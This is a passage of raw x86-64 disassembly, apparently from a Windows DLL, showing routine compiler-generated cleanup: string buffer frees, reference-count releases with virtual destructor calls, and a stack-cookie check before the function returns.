ja 0x180094670
call fcn.1800cff50
mov r8, qword [rbp + 0x2d0]
test r8, r8
je 0x18009436d
mov rcx, qword [rbp + 0x2e0]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x18009434f
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094670
mov rcx, r8
call fcn.1800cff50
xorps xmm0, xmm0
xor edi, edi
movdqa xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], rdi
jmp 0x18009436f
xor edi, edi
mov rcx, qword [rbp + 0x330]
test rcx, rcx
je 0x1800943b0
mov eax, r13d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x1800943b0
mov rbx, qword [rbp + 0x330]
test rbx, rbx
je 0x1800943b0
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rdi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180094394
mov rcx, qword [rbp + 0x350]
mov qword [rbp + 0x330], rdi
test rcx, rcx
je 0x1800943dc
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800943dc
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x358]
test rcx, rcx
je 0x18009441d
mov eax, r13d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009441d
mov rbx, qword [rbp + 0x358]
test rbx, rbx
je 0x18009441d
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rdi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180094401
mov rcx, qword [rbp + 0x378]
mov qword [rbp + 0x358], rdi
test rcx, rcx
je 0x180094449
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180094449
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x380]
test rax, rax
je 0x180094489
lock xadd dword [rax + 0x2c], r13d
cmp r13d, 1
jne 0x180094489
mov rbx, qword [rbp + 0x380]
test rbx, rbx
je 0x180094489
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rdi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009446d
mov rcx, qword [rbp + 0x3a0]
mov qword [rbp + 0x380], rdi
test rcx, rcx
je 0x1800944b5
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800944b5
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rsi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x180094500
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800944fb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094634
call fcn.1800cff50
movups xmm1, xmmword [rbp + 0x2b0]
mov qword [rbp + 0x2b0], rdi
movups xmm0, xmmword [rbp + 0x2a0]
mov qword [rbp + 0x2b8], 0xf
mov byte [rbp + 0x2a0], 0
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm1
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x18009456a
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x180094565
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009463a
mov rcx, r8
call fcn.1800cff50
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x1800945b5
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x1800945b0
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009463a
mov rcx, r8
call fcn.1800cff50
mov qword [r12 + 0x10], rdi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x1800945fe
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1800945f9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009463a
mov rcx, r8
call fcn.1800cff50
mov qword [r15 + 0x10], rdi
mov byte [r15], 0
mov rax, r14
mov qword [r15 + 0x18], 0xf
mov rcx, qword [rbp + 0x3a8]
xor rcx, rsp
call fcn.1800cfc90
add rsp, 0x4b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3